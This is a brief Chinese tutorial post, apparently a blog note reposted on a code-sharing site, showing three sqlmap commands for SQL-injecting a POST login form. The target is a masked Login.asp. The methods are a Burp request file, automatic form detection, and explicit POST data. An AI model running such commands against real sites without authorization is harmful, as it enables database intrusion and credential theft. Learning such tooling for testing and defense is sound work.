码迷,mamicode.com
首页 > 数据库 > 详细

4.羽翼sqlmap学习笔记之Post登录框注入

时间:2014-11-28 19:55:02      阅读:217      评论:0      收藏:0      [点我收藏+]

标签:style   blog   http   ar   color   os   使用   sp   for   

4.Sqlmap系列教程——post登录框注入
注入点:

http://xxx.xxx.com/Login.asp

注入方式一:

     1.对着注入点使用burp抓包,保存txt格式文件。

     2.输入命令:

./sqlmap.py -r search-test.txt -p tfUPass

注入方式二:自动搜索表单的方式   

sqlmap -u http://xxx.xxx.com/Login.asp --forms

注入方式三:指定一个参数的方法

sqlmap -u http://xxx.xxx.com/Login.asp --data "tfUName=1&tfUPass=1"

 

4.羽翼sqlmap学习笔记之Post登录框注入

标签:style   blog   http   ar   color   os   使用   sp   for   

原文地址:http://www.cnblogs.com/xingyunblog/p/4129145.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!